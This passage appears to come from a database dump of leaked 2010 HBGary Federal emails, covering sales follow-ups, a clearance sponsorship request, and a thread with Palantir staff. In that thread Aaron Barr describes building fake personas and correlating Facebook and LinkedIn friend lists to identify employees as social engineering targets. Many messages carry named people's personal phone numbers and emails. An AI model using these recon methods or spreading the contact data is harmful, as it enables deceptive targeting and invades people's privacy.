discussion around\r\ncyber.  Please let me know what areas of our discussion are of most\r\ninterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.\r\n\r\nFor refresher:\r\nFocus areas: threat intelligence, incident response, IO/CNO\r\n\r\nPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanced\r\ndetection, volume malware processing, threat intelligence\r\nServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOC\r\nTraining: malware analysis, social media\r\n\r\nOn a side note we have a lot of interest and capability in different\r\naspects of social media, game technology, and location based services\r\nthat might be of interest.\r\n\r\nRespectfully,\r\nAaron\r\n\r\nSent from my iPad\r\n',2626,'aaron_hbgary_com/2626.html'),(11114,'2010-08-31','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008503.M552588P14101Q5969.eml','\"Barr Aaron\" <aaron@hbgary.com>','another use case','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, \r\n\r\nThis got me all worked up and I had to share. Just spoke to\r\na customer who let &#8220;unknown protocol&#8221; decoder &nbsp;run over the weekend,\r\nand then sorted it by destination using our group by feature. He found a lot of\r\nactivity to a single host in China, TCP over port 80. 100 affected hosts that\r\nappear to be beaconing every several minutes. He has desktop support looking at\r\nthem but so far McAfee can&#8217;t ID anything&#8230;.very interesting though. \r\n\r\n&nbsp;\r\n\r\nJ\r\n\r\nGo policy pack&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',843,'aaron_hbgary_com/843.html'),(11115,'2010-08-31','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297008503.M860785P14101Q5970.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Another Killer Demo','\r\nSounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be on\r\nthe way Thursday, too.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 10:38 PM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman; Ted Vera; Mark Trynor\r\nSubject: Re: Another Killer Demo\r\n\r\nI get it on the breakout sessions.  We would like to pursue the path to\r\nbreakout with fingerprint data.  That hasn\'t changed.\r\n\r\nSo here is the dynamic I am working with right now.\r\n\r\nWe have separate customers interested in our ability to do volume malware\r\nprocessing and threat intelligence (this is TMC, Fingerprint, and\r\nPalanatir).\r\n\r\nWe have other customers, mostly on offense, that are interested in Social\r\nMedia for other things.\r\n\r\nIn the end both of these capabilities come together to build real threat\r\nintelligence marrying up malware data with social media data, just baby\r\nsteps.\r\n\r\nThe social media stuff seems like low hanging fruit, so lets have a phone\r\nconversation on that on Thursday to discuss what are the next steps and\r\nwhen.\r\n\r\nOn the threat intelligence side we have some prep work to do.  Greg told me\r\nthat the data that he has is basically not available.  Something about\r\ngiving the TMC to HBGary Fed and dropping that because it was taking to many\r\ndevelopment resources and they need to focus.  What does that mean, not a\r\nhuge deal, but we need to rerun our malware through the TMC and then through\r\nfingerprint and then take that data into Palantir.  Right now we are running\r\nat max speed the rest of the week to get our Pentest report done and out to\r\nthe customer by Thursday.  So on Monday next week we can regroup with Mark I\r\nthink and talk about how to get the threat intel stuff going.  We have a\r\nmeeting with US-CERT on the 9th and it would be good to be able to tell them\r\na little more than what we have right now, meaning we have a plan to\r\nexecute.  The stick here is in our hands.  I will reread your last email,\r\nhead is flooded, and we can readdress this on Thursday as well.\r\n\r\nSound ok?  Good thing is potential customers definitely interested.\r\n\r\nLets do a webex on Thursday instead I can show you a few things I am working\r\non.  I will set it up.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	For the two breakout spaces, we\'re looking for an integration that\r\n> focuses more on technical data. While I\'d like to talk through this\r\nproposed\r\n> workflow some more -- and it\'s certainly appropriate for the demo station\r\n> you guys will have at GovCon -- it may not be right for the breakout\r\n> sessions where Steckman and I have to focus our development energy. But\r\n> let\'s walk down the path a little further before we decide anything:\r\n> \r\n> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n> a targeted subset for a few users of interest; possibly using helpers to\r\n> reach out to the API\'s? \r\n> \r\n> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\nsocial\r\n> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\nalready\r\n> deleted it.)\r\n> \r\n> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n> you want to build out the workflow a little. The new cyber ontology has an\r\n> \"online account\" type set up by default; we can start by preparing a\r\n> Facebook Account subtype and build outward from there. \r\n> \r\n> 	Phone call good enough, or should we set up shop somewhere with data\r\n> and laptops? \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 30, 2010 8:54 AM\r\n> To: Aaron Zollman\r\n> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I think you would be demonstrating something completely new from a\r\nsecurity\r\n> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n> friends lists are much closer to representing someones actual social\r\ncircle\r\n> than just another source of information.  This has huge security\r\n> consequences.  My hypothesis is there is an immense amount of information\r\nwe\r\n> can glean from this information.  I have actually already proven this on a\r\n> small scale doing research manually.  I have been able to determine people\r\n> who are employees of specific companies even though their profile was\r\n> completely blocked, except their friends lists.  I correlated friends\r\nlists\r\n> across multiple people who I knew were employees of a particular company\r\nto\r\n> determine this.  I also was able to cross this information with Linkedin\r\n> information and determine people that were in subcontracting relationships\r\n> to other companies.  I think all of the facebook information in a Palantir\r\n> framework could result in some of the most significant security\r\nrevelations\r\n> related to social media yet published.  No more handwaving, but real data\r\nto\r\n> show the vulnerabilities.  There is a huge social engineering /targeting\r\n> potential here as well.  If I wanted to target a particular organization\r\n> what groups should I belong to, who are the influencers in the group, who\r\n> has the most connections, etc.\r\n> \r\n> Lets get together to discuss and I can walk you through some of the stuff\r\nI\r\n> am doing with persona development and social media exploitation.\r\n> \r\n> Aaron\r\n> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> 	It\'d be even easier with the graph APIs...\r\n>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\nknock\r\n>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>> \r\n>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>> visualization front-end for an organization\'s structure? \r\n>> \r\n>> \r\n>> \r\n>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>> pen-testing/cybersecurity context. An integration with this and some\r\nother\r\n>> pen-testing data -- known account identifiers, and data collected from\r\n> them,\r\n>> for example -- might be cool. If we could bring in some malware\r\n> fingerprint \r\n>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>> exploration...\r\n>> \r\n>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>> helpful.\r\n>> \r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> On the social side here is what I would like to do.  I think between Mark\r\n>> and Aaron this could be put together very quickly and would be powerful.\r\n>> \r\n>> start with a profile in facebook.\r\n>> \r\n>> http://www.facebook.com/profile.php?id=100001092994636\r\n>> \r\n>> View the source of that page.  There is all kinds of information we can\r\n>> collect and parse to build some very robust social maps.\r\n>> Those people that provide information and have their friends lists\r\nexposed\r\n>> provide an incredible social engineering and recon tool.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>> \r\n>>> Brandon is a rockstar!!! Good call.\r\n>>> \r\n>>> Let us know if you want help on the demo, sounds like it could be really\r\n>>> interesting.  We\'d probably love to make a video of is as well to put up\r\n>> on\r\n>>> our analysis blog (with HBGary branding of course!).\r\n>>> \r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantir.com | 202-257-2270\r\n>>> \r\n>>> Follow @palantirtech\r\n>>> Watch youtube.com/palantirtech\r\n>>> Attend Palantir Night Live\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>> To: Matthew Steckman\r\n>>> Cc: Aaron Zollman\r\n>>> Subject: Another Killer Demo\r\n>>> \r\n>>> Matt,\r\n>>> \r\n>>> I have been doing talks on social media, have a lot more scheduled,\r\nalong\r\n>>> with some training gigs.  In the process I am setting up a lot of\r\n> personas\r\n>>> and doing social media pen testing against organizations.\r\n>>> \r\n>>> What I have found is there is an immense amount of information peoples\r\n>>> friends lists as well as other social media digital artifacts can tell\r\n> us.\r\n>>> I think Palantir would be an awesome tool to present and use for\r\n> analysis.\r\n>>> We are just going to have to get someone to write a helper app.  I am\r\n>> hoping\r\n>>> to be able to hire Brandon Colston soon.\r\n>>> \r\n>>> Aaron\r\n>> \r\n> \r\n\r\n',11855,'aaron_hbgary_com/11855.html'),(11116,'2010-08-31','\"Catherine Weeks\" <cweeks@digitalmanagement.com>','/aaron@hbgary.com/new/1297008504.M116341P14101Q5971.eml','aaron@hbgary.com,aaron@hbgary.com,','Information Needed for Sponsorship Letter','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n\r\n&nbsp;\r\n\r\nAs\r\ndiscussed this afternoon, Digital Management, Inc. is pleased to sponsor HPGary\r\nFederal for a Facility Clearance (FCL). I will need the following information\r\nto get the ball rolling:\r\n\r\n&nbsp;\r\n\r\nName\r\nof Facility (this should match the name on your articles of incorporation): \r\n\r\n&nbsp;\r\n\r\nPhysical\r\nAddress (no P.O. boxes):\r\n\r\n&nbsp;\r\n\r\nCity,\r\nState and Zip Code:\r\n\r\n&nbsp;\r\n\r\nLevel\r\nof Clearance required: \r\n\r\n&nbsp;\r\n\r\nPoint\r\nof Contact at the Facility: \r\n\r\n&nbsp;\r\n\r\nPoint\r\nof Contact\'s Telephone #: \r\n\r\n&nbsp;\r\n\r\nPoint\r\nof Contact\'s Fax #: \r\n\r\n&nbsp;\r\n\r\nPoint\r\nof Contact\'s E-mail Address: \r\n\r\n&nbsp;\r\n\r\nOnce\r\nI get the information, I will develop a sponsorship letter. This letter is the\r\nfirst step in the process. The link below provides a good checklist of\r\ninformation to gather and forms to complete for new facility security\r\nclearances. To help expedite the facility security clearance process, it is\r\nhelpful to have information gathered and forms complete before your first visit\r\nby a DSS Industrial Security Representative. \r\n\r\n&nbsp;\r\n\r\nhttp://www.dss.mil/isp/fac_clear/fac_clear_check.html\r\n\r\n&nbsp;\r\n\r\nIf you have any questions related to the facility security\r\nclearance process, please contact me.\r\n\r\n&nbsp;\r\n\r\nCathy Weeks\r\n\r\nDeputy FSO\r\n\r\nDigital Management, Inc.\r\n\r\n1302 Concourse Drive . Suite 301 . Linthicum, MD 21090\r\n\r\nph 240-744-3040 | mobile 301-461-8336\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14215,'aaron_hbgary_com/14215.html'),(11117,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008504.M392376P14101Q5972.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Follow up to our discussion','FyiSent from my iPhoneBegin forwarded message:From: alexander.miller@l-3com.com\r\nDate: August 31, 2010 4:58:59 PM EDTTo: &quot;DeFreitas, John @ STRATIS&quot; &lt;john.defreitas@l-3com.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Gertler, David @ STRATIS&quot; &lt;david.gertler@l-3com.com&gt;, &quot;Korns, Stephen @ STRATIS&quot; &lt;stephen.korns@l-3com.com&gt;\r\nSubject: RE: Follow up to our discussionNo doubt I have helped many others achieve wealth and fame. Unfortunately, it keep avoiding me. \r\nAaron, all attendees were very impress with your company. I appreciate the time you spent with us. Sincerely, AlexRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business UnitL-3 STRATIS &quot;Powered by Excellence&quot;2720 Technology Dr.Annapolis Junction, MD. 20701\r\n(301) 575-2801 Office(443) 695-1232 Cell(301) 575-3506 Faxalexander.miller@l-3com.com-----Original Message-----\r\nFrom: DeFreitas, John @ STRATIS Sent: Tuesday, August 31, 2010 4:28 PMTo: Aaron Barr; Gertler, David @ STRATIS; Korns, Stephen @ STRATISCc: Miller, Alexander A @ STRATIS\r\nSubject: RE: Follow up to our discussionAaron, thanks for taking the time to meet with us.  I ran into Alex when I returned to Reston and gave him a quick run-down on our discussions.  Of course, he took credit for providing Navy leadership and training at Misawa, that surely inspired you and provided the skills that led to all of your success :-).  Hope that we can find a way to work together going forward.  Take care.  John\r\nJohn DeFreitas, IIIVP, D/GM, Civil Government Solutions L-3 STRATIS  11955 Freedom Dr., Rm 10081Reston, VA  20190(W) (703) 434-5145\r\n(C) (571) 246-2249-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, August 31, 2010 4:01 PM\r\nTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @ STRATISCc: Miller, Alexander A @ STRATISSubject: Follow up to our discussionGentlemen,\r\nThank you for meeting with me today and for the good discussion aroundcyber.  Please let me know what areas of our discussion are of mostinterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.For refresher:Focus areas: threat intelligence, incident response, IO/CNOPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanceddetection, volume malware processing, threat intelligenceServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOCTraining: malware analysis, social mediaOn a side note we have a lot of interest and capability in differentaspects of social media, game technology, and location based services\r\nthat might be of interest.Respectfully,AaronSent from my iPad\r\n',4028,'aaron_hbgary_com/4028.html'),(11118,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008505.M825330P14101Q5973.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Social Media Training Brochure','Updated draft for review -- attached in original (Pages) and pdf formats.\r\n\r\n-- \r\nTed\r\n',228,'aaron_hbgary_com/228.html'),(11119,'2010-08-31','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008506.M139240P14101Q5974.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow up to our discussion','Awesome!\r\n\r\nOn Tue, Aug 31, 2010 at 3:12 PM, Aaron Barr  wrote:\r\n> Fyi\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: alexander.miller@l-3com.com\r\n> Date: August 31, 2010 4:58:59 PM EDT\r\n> To: \"DeFreitas, John @ STRATIS\" , \"Aaron Barr\"\r\n> , \"Gertler, David @ STRATIS\" ,\r\n> \"Korns, Stephen @ STRATIS\" \r\n> Subject: RE: Follow up to our discussion\r\n>\r\n> No doubt I have helped many others achieve wealth and fame. Unfortunately,\r\n> it keep avoiding me.\r\n>\r\n> Aaron, all attendees were very impress with your company. I appreciate the\r\n> time you spent with us.\r\n>\r\n> Sincerely, Alex\r\n>\r\n> RADM Alex Miller USN (Ret)\r\n> SVP and General Manager, Intelligence Solutions Business Unit\r\n> L-3 STRATIS \"Powered by Excellence\"\r\n> 2720 Technology Dr.\r\n> Annapolis Junction, MD. 20701\r\n> (301) 575-2801 Office\r\n> (443) 695-1232 Cell\r\n> (301) 575-3506 Fax\r\n> alexander.miller@l-3com.com\r\n>\r\n> -----Original Message-----\r\n> From: DeFreitas, John @ STRATIS\r\n> Sent: Tuesday, August 31, 2010 4:28 PM\r\n> To: Aaron Barr; Gertler, David @ STRATIS; Korns, Stephen @ STRATIS\r\n> Cc: Miller, Alexander A @ STRATIS\r\n> Subject: RE: Follow up to our discussion\r\n>\r\n> Aaron, thanks for taking the time to meet with us.  I ran into Alex when I\r\n> returned to Reston and gave him a quick run-down on our discussions.  Of\r\n> course, he took credit for providing Navy leadership and training at Misawa,\r\n> that surely inspired you and provided the skills that led to all of your\r\n> success :-).  Hope that we can find a way to work together going forward.\r\n>  Take care.  John\r\n>\r\n> John DeFreitas, III\r\n> VP, D/GM, Civil Government Solutions\r\n> L-3 STRATIS\r\n> 11955 Freedom Dr., Rm 10081\r\n> Reston, VA  20190\r\n> (W) (703) 434-5145\r\n> (C) (571) 246-2249\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 31, 2010 4:01 PM\r\n> To: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @\r\n> STRATIS\r\n> Cc: Miller, Alexander A @ STRATIS\r\n> Subject: Follow up to our discussion\r\n>\r\n> Gentlemen,\r\n>\r\n> Thank you for meeting with me today and for the good discussion around\r\n> cyber.  Please let me know what areas of our discussion are of most\r\n> interest for follow up and we can set up the necessary demos or\r\n> technical discussions.\r\n>\r\n> For refresher:\r\n> Focus areas: threat intelligence, incident response, IO/CNO\r\n>\r\n> Partnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\n> Technologies: forensics, malware analysis, enterprise advanced\r\n> detection, volume malware processing, threat intelligence\r\n> Services: incident response, malware analysis, social media pen\r\n> testing, IO/CNO, SOC\r\n> Training: malware analysis, social media\r\n>\r\n> On a side note we have a lot of interest and capability in different\r\n> aspects of social media, game technology, and location based services\r\n> that might be of interest.\r\n>\r\n> Respectfully,\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2356,'aaron_hbgary_com/2356.html'),(11120,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008506.M367100P14101Q5975.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Did Aaron get a new Cell phone number??','Sorry deeann,I will get u the Docs tonight.AaronSent from my iPhoneOn Aug 30, 2010, at 4:48 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n719-510-8478On Mon, Aug 30, 2010 at 2:47 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe one I have is not the correct number.  I really need to\r\ncontact him today. \r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n',6282,'aaron_hbgary_com/6282.html'),(11121,'2010-08-31','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008506.M598568P14101Q5976.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Did Aaron get a new Cell phone number??','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 2:37 PM\r\nTo: Ted Vera\r\nCc: DeeAnn Buonaccorsi\r\nSubject: Re: Did Aaron get a new Cell phone number??\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry deeann,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will get u the Docs tonight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 30, 2010, at 4:48 PM, Ted Vera &lt;ted@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mon, Aug 30, 2010 at 2:47 PM, DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nThe\r\none I have is not the correct number.&nbsp; I really need to contact him today.\r\n\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15194,'aaron_hbgary_com/15194.html'),(11122,'2010-08-31','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008506.M874892P14101Q5977.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow up to our discussion','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAny suggestions on what to tell the L-3 corporate people about\r\nyour meeting?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 31, 2010 5:12 PM\r\nTo: Ted Vera; Penny Leavy; Greg Hoglund; Bob Slapnik\r\nSubject: Fwd: Follow up to our discussion\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFyi\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: alexander.miller@l-3com.com\r\nDate: August 31, 2010 4:58:59 PM EDT\r\nTo: &quot;DeFreitas, John @ STRATIS&quot; &lt;john.defreitas@l-3com.com&gt;,\r\n&quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;,\r\n&quot;Gertler, David @ STRATIS&quot; &lt;david.gertler@l-3com.com&gt;,\r\n&quot;Korns, Stephen @ STRATIS&quot; &lt;stephen.korns@l-3com.com&gt;\r\nSubject: RE: Follow up to our discussion\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo doubt I have helped many others achieve wealth and fame.\r\nUnfortunately, it keep avoiding me. \r\n\r\nAaron, all attendees were very impress with your company. I appreciate the time\r\nyou spent with us. \r\n\r\nSincerely, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS &quot;Powered by Excellence&quot;\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801&nbsp;Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 Fax\r\nalexander.miller@l-3com.com\r\n\r\n-----Original Message-----\r\nFrom: DeFreitas, John @ STRATIS \r\nSent: Tuesday, August 31, 2010 4:28 PM\r\nTo: Aaron Barr; Gertler, David @ STRATIS; Korns, Stephen @ STRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: RE: Follow up to our discussion\r\n\r\nAaron, thanks for taking the time to meet with us. &nbsp;I ran into Alex when I\r\nreturned to Reston and gave him a quick run-down on our discussions. &nbsp;Of\r\ncourse, he took credit for providing Navy leadership and training at Misawa,\r\nthat surely inspired you and provided the skills that led to all of your\r\nsuccess :-). &nbsp;Hope that we can find a way to work together going forward.\r\n&nbsp;Take care. &nbsp;John\r\n\r\nJohn DeFreitas, III\r\nVP, D/GM, Civil Government Solutions \r\nL-3 STRATIS &nbsp;\r\n11955 Freedom Dr., Rm 10081\r\nReston, VA &nbsp;20190\r\n(W) (703) 434-5145\r\n(C) (571) 246-2249\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, August 31, 2010 4:01 PM\r\nTo: Gertler, David @ STRATIS; Korns, Stephen @ STRATIS; DeFreitas, John @\r\nSTRATIS\r\nCc: Miller, Alexander A @ STRATIS\r\nSubject: Follow up to our discussion\r\n\r\nGentlemen,\r\n\r\nThank you for meeting with me today and for the good discussion around\r\ncyber. &nbsp;Please let me know what areas of our discussion are of most\r\ninterest for follow up and we can set up the necessary demos or\r\ntechnical discussions.\r\n\r\nFor refresher:\r\nFocus areas: threat intelligence, incident response, IO/CNO\r\n\r\nPartnerships: Fidelis, End Games, Palantir, Mcafee, Guidance, Verdasys\r\nTechnologies: forensics, malware analysis, enterprise advanced\r\ndetection, volume malware processing, threat intelligence\r\nServices: incident response, malware analysis, social media pen\r\ntesting, IO/CNO, SOC\r\nTraining: malware analysis, social media\r\n\r\nOn a side note we have a lot of interest and capability in different\r\naspects of social media, game technology, and location based services\r\nthat might be of interest.\r\n\r\nRespectfully,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/31/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14133,'aaron_hbgary_com/14133.html'),(11123,'2010-08-31','arc@westfields.net','/aaron@hbgary.com/new/1297008507.M323478P14101Q5979.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create 